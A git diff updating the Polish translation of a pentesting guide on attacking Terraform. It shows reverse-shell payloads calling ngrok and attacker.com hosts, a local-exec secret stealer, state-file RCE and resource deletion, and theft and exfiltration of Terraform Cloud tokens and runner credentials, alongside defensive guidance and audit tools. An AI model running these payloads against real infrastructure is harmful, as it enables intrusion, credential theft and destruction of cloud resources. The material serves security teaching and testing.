diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 7d82f4928..baef6d9c1 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,4 +1,4 @@
-# Terraform Security
+# Terraform Bezpieczeństwo
{{#include ../banners/hacktricks-training.md}}
@@ -6,21 +6,21 @@
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
+HashiCorp Terraform to **narzędzie infrastructure as code**, które pozwala zdefiniować zarówno **zasoby w chmurze, jak i on‑prem** w czytelnych dla człowieka plikach konfiguracyjnych, które możesz wersjonować, ponownie wykorzystywać i udostępniać. Następnie możesz użyć spójnego workflow do wdrażania i zarządzania całą infrastrukturą przez cały jej cykl życia. Terraform może zarządzać niskopoziomowymi komponentami, takimi jak zasoby obliczeniowe, pamięci i sieciowe, jak również wysokopoziomowymi komponentami, takimi jak wpisy DNS i funkcje SaaS.
#### Jak działa Terraform?
-Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.
+Terraform tworzy i zarządza zasobami na platformach chmurowych oraz innych usługach poprzez ich interfejsy programistyczne (APIs). Providery umożliwiają Terraformowi pracę praktycznie z dowolną platformą lub usługą posiadającą dostępne API.
.png>)
-HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
+HashiCorp i społeczność Terraformu napisały już **ponad 1700 providerów** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne providery znajdziesz w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
-Podstawowy przepływ pracy Terraform składa się z trzech etapów:
+Podstawowy workflow Terraform składa się z trzech etapów:
-- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
-- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
-- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
+- **Write:** Definiujesz zasoby, które mogą obejmować wiele dostawców chmurowych i usług. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w Virtual Private Cloud (VPC) z security groups i load balancerem.
+- **Plan:** Terraform tworzy execution plan opisujący infrastrukturę, którą utworzy, zaktualizuje lub usunie na podstawie istniejącej infrastruktury i Twojej konfiguracji.
+- **Apply:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując zależności między zasobami. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform odtworzy VPC przed skalowaniem maszyn wirtualnych.
.png>)
@@ -28,41 +28,41 @@ Podstawowy przepływ pracy Terraform składa się z trzech etapów:
Po prostu zainstaluj terraform na swoim komputerze.
-Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
+Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli) i tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
-## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego
+## RCE in Terraform: config file poisoning
-Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
+Terraform **nie udostępnia platformy z stroną WWW ani usługą sieciową**, którą można by enumerować, dlatego jedynym sposobem na przejęcie terraform jest możliwość **dodawania/modyfikowania plików konfiguracyjnych terraform** lub możliwość **modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
-Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
+Jednak terraform to **bardzo wrażliwy komponent** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł prawidłowo działać.
-Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
+Głównym sposobem dla atakującego na przejęcie systemu, na którym działa terraform, jest **skompromitowanie repozytorium przechowującego konfiguracje terraform**, ponieważ w pewnym momencie zostaną one **zinterpretowane**.
-W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
+W rzeczywistości istnieją rozwiązania, które **wykonują terraform plan/apply automatycznie po utworzeniu PR**, takie jak **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`.
+Jeśli uda Ci się skompromitować plik terraform, istnieją różne sposoby na wykonanie RCE, gdy ktoś uruchomi `terraform plan` lub `terraform apply`.
### Terraform plan
-Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
+Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform uruchamiają je cały czas, więc **najprostszy sposób na uzyskanie RCE** to upewnić się, że zatrujesz plik konfiguracyjny terraform, który wykona dowolne polecenia podczas `terraform plan`.
-**Używając zewnętrznego dostawcy**
+**Użycie providera external**
-Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
+Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraformem a zewnętrznymi programami. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
-Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`:
+Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego spowoduje wykonanie rev shell podczas uruchamiania `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
-**Używanie niestandardowego dostawcy**
+**Użycie niestandardowego providera**
-Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Atakujący mógłby przesłać [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w feature branchu ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,13 +75,13 @@ version = "1.0"
provider "evil" {}
```
-Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany.
+Provider jest pobierany podczas `init` i uruchomi złośliwy kod, gdy zostanie wykonany `plan`
-Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+Przykład znajdziesz w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-**Używanie zewnętrznego odniesienia**
+**Użycie zewnętrznego odwołania**
-Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii:
+Obie wymienione opcje są przydatne, ale niezbyt dyskretne (druga jest bardziej dyskretna, lecz bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak w jeszcze bardziej **dyskretny sposób**, stosując się do poniższych sugestii:
- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
```javascript
@@ -89,14 +89,14 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref** aby ukryć **terraform rev shell code in a branch** w repozytorium, na przykład: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`:
+Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany; możesz też nadużyć go, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Musisz tylko upewnić się, że jakiś payload podobny do poniższych znajduje się w pliku `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
+Postępuj zgodnie z **sugestiami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób, używając zewnętrznych odwołań**.
-## Zrzuty sekretów
+## Secrets Dumps
-Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
+Możesz spowodować, że **secret values used by terraform dumped** uruchamiając `terraform apply` przez dodanie do pliku terraform czegoś takiego:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
```
## Wykorzystywanie plików stanu Terraform
-W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
+W przypadku gdy masz prawa zapisu do plików stanu terraform, ale nie możesz zmieniać kodu terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) przedstawia kilka interesujących opcji wykorzystania takiego pliku. Nawet jeśli miałbyś prawa zapisu do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
-### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego
+### RCE in Terraform: config file poisoning
-Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
+Możliwe jest [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpić jednego z providerów w pliku stanu terraform złośliwym albo dodać fałszywy resource odwołujący się do złośliwego providera.
-Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
+Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na tym badaniu i uzbraja tę zasadę. Możesz dodać fałszywy resource i umieścić dowolne polecenie bash, które chcesz wykonać, w atrybucie `command`. Gdy uruchomione zostanie `terraform`, polecenie to zostanie odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy resource z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełne demo można znaleźć w [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
-Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
+Aby użyć tego bezpośrednio, po prostu dołącz poniższy fragment w dowolnym miejscu tablicy `resources` i dostosuj atrybuty `name` oraz `command`:
```json
{
"mode": "managed",
@@ -152,15 +152,15 @@ Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tab
]
}
```
-Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony.
+Then, as soon as `terraform` gets executed, your code will run.
### Usuwanie zasobów
-Istnieją 2 sposoby na zniszczenie zasobów:
+Istnieją 2 sposoby na usunięcie zasobów:
-1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
+1. **Wstaw do pliku stanu zasób o losowej nazwie wskazujący na rzeczywisty zasób do usunięcia**
-Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
+Ponieważ `terraform` zobaczy, że zasób nie powinien istnieć, zniszczy go (używając wskazanego rzeczywistego ID zasobu). Przykład z poprzedniej strony:
```json
{
"mode": "managed",
@@ -176,13 +176,13 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod
]
},
```
-2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
+2. **Zmień zasób tak, aby został usunięty w sposób uniemożliwiający jego aktualizację (czyli zostanie usunięty i odtworzony)**
-W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
+Dla instancji EC2 zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
-### Zastąp zablokowanego dostawcę
+### Zastąp zablokowany provider
-W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
+Jeśli napotkasz sytuację, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować provider `external`, wykonując poniższe kroki. Uwaga: używamy forka providera external opublikowanego pod adresem https://registry.terraform.io/providers/nazarewk/external/latest. Możesz też opublikować własny fork lub ponowną implementację.
```terraform
terraform {
required_providers {
@@ -193,27 +193,27 @@ version = "3.0.0"
}
}
```
-Możesz wtedy użyć `external` jak zwykle.
+Następnie możesz użyć `external` jak zwykle.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
-## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń
+## Terraform Cloud speculative plan RCE and credential exfiltration
-Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze.
+Ten scenariusz nadużywa Terraform Cloud (TFC) runners podczas speculative plans, aby pivot into the target cloud account.
- Warunki wstępne:
-- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`.
-- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany.
+- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w postaci zwykłego tekstu w `~/.terraform.d/credentials.tfrc.json`.
+- Token musi mieć dostęp do docelowej organization/workspace i co najmniej uprawnienie `plan`. VCS-backed workspaces blokują `apply` z CLI, ale nadal pozwalają na speculative plans.
-- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC:
+- Odkryj workspace i ustawienia VCS za pomocą TFC API:
```bash
export TF_TOKEN=
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations//workspaces/ | jq
```
-- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS:
+- Wywołaj wykonanie kodu podczas speculative plan, używając external data source oraz Terraform Cloud "cloud" block, aby zaatakować VCS-backed workspace:
```hcl
terraform {
cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
-Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC:
+Przykładowy rsync.sh, aby uzyskać reverse shell na TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
-Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze:
+Uruchom spekulatywny plan, aby wykonać program na ephemeral runner:
```bash
terraform init
terraform plan
```
-- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych:
+- Wypisz i wyeksfiltruj wstrzyknięte poświadczenia chmurowe z runnera. Podczas uruchomień TFC wstrzykuje poświadczenia providerów poprzez pliki i zmienne środowiskowe:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Oczekiwane pliki w katalogu roboczym runnera:
- GCP:
-- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia)
-- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia)
+- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
+- `tfc-gcp-token` (krótkotrwały GCP access token)
- AWS:
-- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC)
-- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy)
+- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
+- `tfc-aws-token` (krótkotrwały token; niektóre organizacje mogą używać statycznych kluczy)
-- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS:
+- Użyj krótkotrwałych poświadczeń poza kanałem, aby obejść zabezpieczenia VCS:
GCP (gcloud):
```bash
@@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
-Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS.
+Dzięki tym poświadczeniom atakujący mogą tworzyć/modyfikować/usuwać zasoby bezpośrednio za pomocą natywnych CLI, omijając przepływy pracy oparte na PR, które blokują `apply` przez VCS.
-- Wskazówki obronne:
-- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli.
-- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe.
-- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców.
-- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
-- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów.
+- Defensive guidance:
+- Stosuj zasadę najmniejszych uprawnień wobec użytkowników/zespołów i tokenów TFC. Audytuj członkostwa i unikaj nadmiernie szerokich uprawnień właścicieli.
+- Ogranicz uprawnienie `plan` w wrażliwych workspaces opartych na VCS tam, gdzie to możliwe.
+- Wymuś listy dozwolonych providerów/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych providerów. Zobacz wytyczne HashiCorp dotyczące filtrowania providerów.
+- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runners jako zasoby wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
+- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i generuj alerty przy podejrzanym użyciu programu `external` podczas planów.
-## Narzędzia do automatycznego audytu
+## Kompromitacja Terraform Cloud
+
+### Użycie tokena
+
+As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Ukradzenie tego tokena pozwala atakującemu podszyć się pod użytkownika w zakresie uprawnień tokena.
+
+Używając tego tokena, można uzyskać org/workspace za pomocą:
+```bash
+GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
+Authorization: Bearer
+```
+Wówczas możliwe jest uruchomienie dowolnego kodu za pomocą **`terraform plan`**, jak wyjaśniono w poprzednim rozdziale.
+
+### Ucieczka do chmury
+
+Jeżeli runner znajduje się w środowisku chmurowym, można uzyskać token podmiotu przypisanego do runnera i wykorzystać go poza tym środowiskiem.
+
+- **Pliki GCP (obecne w katalogu roboczym bieżącego uruchomienia)**
+- `tfc-google-application-credentials` — konfiguracja JSON dla Workload Identity Federation (WIF), która mówi Google, jak wymienić zewnętrzną tożsamość.
+- `tfc-gcp-token` — krótkotrwały (≈1 godz.) token dostępu GCP, na który odwołuje się powyższy.
+
+- **Pliki AWS**
+- `tfc-aws-shared-config` — JSON dla web identity federation/OIDC role assumption (preferowane zamiast statycznych kluczy).
+- `tfc-aws-token` — krótkotrwały token, lub potencjalnie statyczne klucze IAM jeśli źle skonfigurowane.
+
+
+## Narzędzia automatycznego audytu
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
+Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa podatności i błędy konfiguracji w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
- **Funkcje:**
-- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
+- Skanowanie w czasie rzeczywistym w celu wykrywania podatności i problemów ze zgodnością.
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
-- Zautomatyzowane pull requesty z poprawkami.
-- Szczegółowe porady dotyczące usuwania problemów.
-- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
+- Automatyczne pull requesty z poprawkami.
+- Szczegółowe porady dotyczące naprawy.
+- **Sign Up:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
@@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
+**Checkov** to narzędzie do statycznej analizy kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
-Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
+Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) i wykrywa problemy z bezpieczeństwem oraz niezgodności z wymaganiami compliance za pomocą skanowania opartego na grafie.
-Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
+Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanem pakietów open source i obrazów w poszukiwaniu Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
